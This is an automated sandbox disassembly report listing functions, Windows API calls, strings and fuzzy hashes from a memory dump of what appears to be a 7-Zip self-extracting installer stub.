Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59

Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408B52
KillTimer.USER32(?,00000001), ref: 00408B63
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
SuspendThread.KERNEL32(00000290), ref: 00408BA6
ResumeThread.KERNEL32(00000290), ref: 00408BC3
EndDialog.USER32(?,00000000), ref: 00408BE5

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D

Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004041F8
??3@YAXPAX@Z.MSVCRT ref: 00404236
??3@YAXPAX@Z.MSVCRT ref: 0040425C
??3@YAXPAX@Z.MSVCRT ref: 00404264

Strings

%%T/, xrefs: 00404216
%%T\, xrefs: 004041D8

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48

Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004042B3
??3@YAXPAX@Z.MSVCRT ref: 004042F1
??3@YAXPAX@Z.MSVCRT ref: 00404317
??3@YAXPAX@Z.MSVCRT ref: 0040431F

Strings

%%S\, xrefs: 00404293
%%S/, xrefs: 004042D1

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48

Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040436E
??3@YAXPAX@Z.MSVCRT ref: 004043AC
??3@YAXPAX@Z.MSVCRT ref: 004043D2
??3@YAXPAX@Z.MSVCRT ref: 004043DA

Strings

%%M/, xrefs: 0040438C
%%M\, xrefs: 0040434E

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58

Function 00408504 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408519
SHBrowseForFolderW.SHELL32(?), ref: 00408532
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0040854E
SHGetMalloc.SHELL32(00000000), ref: 00408578

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Strings

A, xrefs: 0040852B
A, xrefs: 0040855F

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID: A$A
API String ID: 1557639607-3025247501
Opcode ID: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction ID: 8e2b46382c4e0e79c38c40a6d9053323f47f27154f6d6a29afbbbbb9270b0dc0
Opcode Fuzzy Hash: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction Fuzzy Hash: 41114FB1A00204ABCB10DB95DA48BDE77BCAB88701F1400AEE905E7281DB79DE04CB75

Function 00407DAC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00409133,000004B1,00000000,?,?,?,?,?,00409240), ref: 00407DB4
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407DC5
GetWindow.USER32(?,00000005), ref: 00407DDE
GetWindow.USER32(00000000,00000002), ref: 00407DF4

Strings

SetWindowTheme, xrefs: 00407DBF
uxtheme, xrefs: 00407DAD

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction ID: 9b0de1ac587a4165001920f6b170f50534138ecb837747bbddd8b6d978bb5341
Opcode Fuzzy Hash: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction Fuzzy Hash: D3F0A732E4672533C232126A6C48FAB769CDF46B51B094136BD04F7390DFA8DC4041ED

Function 0040B7A0 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B824
??3@YAXPAX@Z.MSVCRT ref: 0040B866
??2@YAPAXI@Z.MSVCRT ref: 0040B87C
memmove.MSVCRT ref: 0040B899
??3@YAXPAX@Z.MSVCRT ref: 0040B8A6
memmove.MSVCRT ref: 0040B8C4

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction ID: 99a0ad40a844e9a3ffa9f049326f458531d7c56977f80c19912095adb51eb10a
Opcode Fuzzy Hash: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction Fuzzy Hash: 284159B56003048FCB14DF19D880A57B7E9FF88304F14856EEC4A9B346D779E919CBAA

Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00405A1E
??3@YAXPAX@Z.MSVCRT ref: 00405A80
??3@YAXPAX@Z.MSVCRT ref: 00405A98

Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT ref: 00403B30

Strings

;!@InstallEnd@!, xrefs: 00405A53
;!@Install@!UTF-8!, xrefs: 00405A39

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
Opcode Fuzzy Hash: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A

Function 00402E67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
??3@YAXPAX@Z.MSVCRT ref: 00402EA1

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT ref: 004011FD

ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402EB9
??3@YAXPAX@Z.MSVCRT ref: 00402ED9

Strings

SetEnvironment, xrefs: 00402EA9, 00402EB8

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID: SetEnvironment
API String ID: 612612615-360490078
Opcode ID: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction ID: 9a1053b96c855abc576ef2a573940a7f22d1fb52882628247968529f0f67b02c
Opcode Fuzzy Hash: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction Fuzzy Hash: 66015276900104BADB14AB95DD819EEB7BCEF48314F10416BFD01B21D1DB786A408A99

Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
??3@YAXPAX@Z.MSVCRT ref: 00404A74
??3@YAXPAX@Z.MSVCRT ref: 00404A7C
??3@YAXPAX@Z.MSVCRT ref: 00404A8B
??3@YAXPAX@Z.MSVCRT ref: 00404A93

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
Opcode Fuzzy Hash: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99

Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF

GetSystemMetrics.USER32(00000007), ref: 0040883F
GetSystemMetrics.USER32(00000007), ref: 00408850
??3@YAXPAX@Z.MSVCRT ref: 00408917

Strings

100%% , xrefs: 0040886F, 00408876, 004088CF

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99

Function 00404505 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00406EB0,00000000,?,ExecuteFile,0040454C,00000000,00000000,00406EB0,?,waitall,00000000,00000000,?,?,0041E9E8), ref: 00404512
lstrlenW.KERNEL32(?,?,?,0041E9E8), ref: 0040451B
_wcsnicmp.MSVCRT ref: 00404527

Strings

ExecuteFile, xrefs: 00404505

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: lstrlen$_wcsnicmp
String ID: ExecuteFile
API String ID: 2823567412-323923146
Opcode ID: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction ID: a2e0a5f2a3f105f817df911ac3b4dcd355adebb597ea1c4786e8ca368391ef02
Opcode Fuzzy Hash: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction Fuzzy Hash: BFE04FF25052156BC6008FA5AC84C5BBBADEAC8356B540877F700E3112E735D8198BA6

Function 004026AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00407200,00000000,?,?), ref: 004026BE
GetProcAddress.KERNEL32(00000000), ref: 004026C5

Strings

kernel32, xrefs: 004026B9
Wow64RevertWow64FsRedirection, xrefs: 004026B4

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction ID: 82409627fcb45dd1da2fa5f3e3d8c344d82775180731f09fcf798d9da7421b86
Opcode Fuzzy Hash: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction Fuzzy Hash: D4D0A7B4593608ABD7001B62EE0CFE276A56B40701F4480356400E00F0CBFD44D1CE1E

Function 004026DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,00402735,?,0040713A,?,00000000,?,?), ref: 004026F0
GetProcAddress.KERNEL32(00000000), ref: 004026F7

Strings

kernel32, xrefs: 004026EB
Wow64DisableWow64FsRedirection, xrefs: 004026E6

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction ID: 4151df8360ba703b2413aa493284ccd41186626ab8f45a3e4bc2e954db12d2dd
Opcode Fuzzy Hash: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction Fuzzy Hash: C7D0C9B86936046AD6505BA6AD0DFE6B6A4AB80B02F9880296804E11E1C6FC4491DA2F

Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004031D2

Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00

??3@YAXPAX@Z.MSVCRT ref: 0040313F
??3@YAXPAX@Z.MSVCRT ref: 0040315A
??3@YAXPAX@Z.MSVCRT ref: 00403162

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668

Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
wsprintfW.USER32 ref: 00404919
GetFileAttributesW.KERNEL32(?), ref: 00404934

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98

Function 0041271D Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,0041C670), ref: 00412748
??2@YAPAXI@Z.MSVCRT ref: 00412770
memcpy.MSVCRT ref: 00412799
??3@YAXPAX@Z.MSVCRT ref: 004127A4

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
